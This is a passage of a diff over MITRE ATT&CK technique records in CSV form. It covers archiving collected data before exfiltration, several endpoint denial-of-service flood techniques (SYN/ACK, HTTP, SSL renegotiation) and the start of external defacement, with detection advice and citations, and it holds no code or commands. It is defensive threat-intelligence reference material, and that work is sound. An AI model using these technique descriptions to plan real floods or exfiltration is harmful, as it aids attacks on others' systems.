collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data. +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1560/001', 'external_id': 'T1560.001'}, {'source_name': '7zip Homepage', 'description': 'I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.', 'url': 'https://www.7-zip.org/'}, {'source_name': 'WinRAR Homepage', 'description': 'A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.', 'url': 'https://www.rarlab.com/'}, {'source_name': 'WinZip Homepage', 'description': 'Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.', 'url': 'https://www.winzip.com/win/en/'}, {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'}]",1.0,attack-pattern,attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T21:01:25.428Z,2020-03-25T21:54:37.374Z,Archive via Utility,"An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data. -Some 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.",attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662,attack-pattern,['collection'],2020-03-25T21:54:37.374Z,2020-02-20T21:01:25.428Z,"Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. +Some 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.",['collection'],https://attack.mitre.org/techniques/T1560/001,mitre-attack,T1560.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation']",,"Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. -Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1560', 'url': 'https://attack.mitre.org/techniques/T1560'}, {'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'source_name': 'Wikipedia File Header Signatures'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,False,https://attack.mitre.org/techniques/T1560,mitre-attack,T1560,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Archive Collected Data,"An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1560', 'external_id': 'T1560'}, {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'}]",1.0,attack-pattern,attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T20:53:45.725Z,2020-10-21T16:36:55.831Z,Archive Collected Data,"An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. -Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a,attack-pattern,['collection'],2020-10-21T16:36:55.831Z,2020-02-20T20:53:45.725Z,"Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. +Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",['collection'],https://attack.mitre.org/techniques/T1560,mitre-attack,T1560,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Script: Script Execution']",,"Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. -Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","['Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Script: Script Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1499.004', 'url': 'https://attack.mitre.org/techniques/T1499/004'}, {'source_name': 'Sucuri BIND9 August 2015', 'url': 'https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html', 'description': 'Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.1,True,https://attack.mitre.org/techniques/T1499/004,mitre-attack,T1499.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Application or System Exploitation,"Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.",attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0,attack-pattern,['impact'],2021-03-29T16:09:41.559Z,2020-02-20T15:37:27.052Z,"Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.","['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1499.003', 'url': 'https://attack.mitre.org/techniques/T1499/003'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.""}, {'source_name': 'Cisco DoSdetectNetflow', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.1,True,https://attack.mitre.org/techniques/T1499/003,mitre-attack,T1499.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Application Exhaustion Flood,Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018),attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9,attack-pattern,['impact'],2021-03-29T16:08:52.118Z,2020-02-20T15:35:00.025Z,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. +Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",False,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499/004', 'external_id': 'T1499.004'}, {'source_name': 'Sucuri BIND9 August 2015', 'description': 'Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit in the Wild. Retrieved April 26, 2019.', 'url': 'https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html'}]",1.1,attack-pattern,attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T15:37:27.052Z,2021-03-29T16:09:41.559Z,Application or System Exploitation,"Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.",['impact'],https://attack.mitre.org/techniques/T1499/004,mitre-attack,T1499.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499/003', 'external_id': 'T1499.003'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",1.1,attack-pattern,attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T15:35:00.025Z,2021-03-29T16:08:52.118Z,Application Exhaustion Flood,Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018),['impact'],https://attack.mitre.org/techniques/T1499/003,mitre-attack,T1499.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. -In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.","['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1499.002', 'url': 'https://attack.mitre.org/techniques/T1499/002'}, {'external_id': 'CAPEC-488', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/488.html'}, {'external_id': 'CAPEC-489', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/489.html'}, {'external_id': 'CAPEC-528', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/528.html'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.""}, {'source_name': 'Cloudflare HTTPflood', 'url': 'https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/', 'description': 'Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.'}, {'source_name': 'Arbor SSLDoS April 2012', 'url': 'https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new', 'description': 'ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.'}, {'source_name': 'Cisco DoSdetectNetflow', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.2,True,https://attack.mitre.org/techniques/T1499/002,mitre-attack,T1499.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Service Exhaustion Flood,"Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. +In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499/002', 'external_id': 'T1499.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/488.html', 'external_id': 'CAPEC-488'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/489.html', 'external_id': 'CAPEC-489'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/528.html', 'external_id': 'CAPEC-528'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'}, {'source_name': 'Cloudflare HTTPflood', 'description': 'Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.', 'url': 'https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/'}, {'source_name': 'Arbor SSLDoS April 2012', 'description': 'ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.', 'url': 'https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",1.2,attack-pattern,attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T15:31:43.613Z,2021-03-29T16:11:12.815Z,Service Exhaustion Flood,"Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood) -Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)",attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858,attack-pattern,['impact'],2021-03-29T16:11:12.815Z,2020-02-20T15:31:43.613Z,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. +Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)",['impact'],https://attack.mitre.org/techniques/T1499/002,mitre-attack,T1499.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. -Externally monitor the availability of services that may be targeted by an Endpoint DoS.","['Sensor Health: Host Status', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-528,https://capec.mitre.org/data/definitions/528.html,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1499.001', 'url': 'https://attack.mitre.org/techniques/T1499/001'}, {'external_id': 'CAPEC-469', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/469.html'}, {'external_id': 'CAPEC-482', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/482.html'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.""}, {'source_name': 'Cloudflare SynFlood', 'url': 'https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/', 'description': 'Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.'}, {'source_name': 'Corero SYN-ACKflood', 'url': 'https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html', 'description': 'Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.'}, {'source_name': 'Cisco DoSdetectNetflow', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.1,True,https://attack.mitre.org/techniques/T1499/001,mitre-attack,T1499.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,OS Exhaustion Flood,"Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. +Externally monitor the availability of services that may be targeted by an Endpoint DoS.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-528,https://capec.mitre.org/data/definitions/528.html,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499/001', 'external_id': 'T1499.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/469.html', 'external_id': 'CAPEC-469'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/482.html', 'external_id': 'CAPEC-482'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'}, {'source_name': 'Cloudflare SynFlood', 'description': 'Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019.', 'url': 'https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/'}, {'source_name': 'Corero SYN-ACKflood', 'description': 'Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019.', 'url': 'https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",1.1,attack-pattern,attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-20T15:27:18.581Z,2020-09-16T15:54:35.429Z,OS Exhaustion Flood,"Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood) -ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)",attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7,attack-pattern,['impact'],2020-09-16T15:54:35.429Z,2020-02-20T15:27:18.581Z,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.","['Sensor Health: Host Status', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,"['Linux', 'macOS', 'Windows']",,CAPEC-482,https://capec.mitre.org/data/definitions/482.html,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1491.002', 'url': 'https://attack.mitre.org/techniques/T1491/002'}, {'source_name': 'FireEye Cyber Threats to Media Industries', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf', 'description': 'FireEye. (n.d.). Retrieved April 19, 2019.'}, {'source_name': 'Kevin Mandia Statement to US Senate Committee on Intelligence', 'url': 'https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf', 'description': 'Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.'}, {'source_name': 'Anonymous Hackers Deface Russian Govt Site', 'url': 'https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/', 'description': 'Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.'}, {'source_name': 'Trend Micro Deep Dive Into Defacement', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf', 'description': 'Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.1,True,https://attack.mitre.org/techniques/T1491/002,mitre-attack,T1491.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,External Defacement,"An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media 